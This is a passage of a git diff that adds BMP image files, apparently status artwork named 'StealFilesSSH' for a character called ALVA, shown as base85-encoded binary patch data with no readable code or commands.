z5-`oIY~aH{S6ITAN%+5KRl#qWVw8|tDq@mJ8U?HY8q0yAe_@4CR)ttB7YSu($eQyo zmm}seB`kWP2)`r`<_5cjVR5%_-~QKF!TUR%uGq1Ax9n(9A_5i}8Vbr|N&&He1$0HF z6>()^E+XbBBtoF8LMl?4)dI?C<#4Q023WZia*Ps*QOJOSO7zn2bp`FEB5*q*0?Q6h z4x(ScmGjvkSY!<1w2@LnI?J}}XLIMw?K~)G`JTFhJAVA}2U0{BEzm6|2~r9GC@?z2 zXP}8gh`O=Gz%Wr(Fl3Zf4E$3olg1!$0tizvpB+VvSIJ`mt`gD8QP5}v75J?Wn^~0- z0SYSQDFl4AfTKb|sX4K<)#Y*F9=!xY(Y?EO!FW1n#>%01Gb@Wsh*QZe(gMn885Dyy0Le?D1>O$k z1`;X7LNh2&CE}=r93_vH1d&#iMGumN+1c7|*th{ub}~{e^YNanmhNA@deuKQ#ivit zyhJ!nEtCRj`C!>$Nr4I2D60st^5kMvT2x&~1maaIm&7XGva-#rAScI~L8B1~Fs)2% zF%2YAL%=75O0hsC1bZ>AT)n1#ekVX(bv&5+j$!D`lt;lZilAz#8*+tXfE@ zfrM&^uafZ9Lav6-R&yv*a%7DKDla>0M5TK2q_gXcWwe&^Ls`My2lws8VX%HqeKNJu zM5PqrGY}B30ybKjbwzy`;EDxk)B>qc|C9nDRT2Tm9Iw#|nMRJz0q|Z_S6CbkOeTtk zg&J6(f%z(+tAMNGk_!jHb>mb)F1;8G)|IPQ!PDPYRB+3OvRWQ>_Vj5sgW+j!m!_5_ zsicU2g$Oxv;KKrRp|wa0)RjvFAVaC8VD}`BMI=fwk4?tMDL__|0#MX`@m}D=05=B3 z6=-3;M#5L|q9zZK)r?jJICiJenCH%(wTScq<%hDOk1~I20-QNUtFiCiEe7T$XOBZ(P6r%L6~~-%r5`9u2;{udJ+ab#)=(0<#j~XarEQz#c#jqy?YN z3pff9M=9c|#eBe_L|JjMa&u^!omPW-xKJhKse#|Z!e|Mrzm`*xmoQXCb?RX~B0IaS z?E!eohYI?3ZaxvKrMF$Xc2daXU=RC2aiW27QYF~I@)>dv!~(WLz*Pu23NaffrxdW5 zgkMP}`Hc3nvmkIY%g17Dr1)n45gDnADE#d$swUEt-#Ks^Xb_FPuMyN7>FA!<}e~KU||7iNCWWzB_d?W`P9sKUg?;)Bq_dF=HJM2$+{0pp> z;eEN|D?E|tVP~BMN0tso25b3B5nUl+#X;OSDTf&mqJ;#&lp>ByK#f<@3q~OM1L06V zM_(_`snwOw-}&pE51WC1jTH>%+VvlE$BlKg?L+W!7^-26>?cix*@;qC0>oiPVo+9? z7b9n7r%NXeg%w<^vuzJKBK!96K?};q2k4)sa8jI_P|&DY=T5J{wcd)d%1o&)5Z zfl7X=gw2i!PL%Nn#7jq{OO(8D4~JfX-kx={W;}e@_NM`U!k7OV>+i?-{KfO-D_5}T zG`HS8=s_MTY9tfuA1h+=i6Jh%ZTx(^^G4=ey>j{YxBMID|2``a*rM_M`*#}`%mtq{ zc{%p6>uK%f>JUXD6c*&S9y?+ovo!lRC@p>d`>cQBxPSlNo?SZ@Eu6pO>o2cg2fq+_ zd;Hs=;4%MKtiK@rH~;-Fv7&DMkvqQkpSAxI>-!J%6WsAX#R~p!+s8P={}?M+uRomk Ne~R@Z{n*Ot{{i&YIi3Ij literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH6.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH6.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a6cd3fbe6d518ed8cc07c286e342e076c358753c GIT binary patch literal 18462 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 Het!Q4(mo13 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH7.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH7.bmp new file mode 100644 index 0000000000000000000000000000000000000000..961601342f83c19be9bcf25b71cc87f3e3748e7b GIT binary patch literal 18462 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 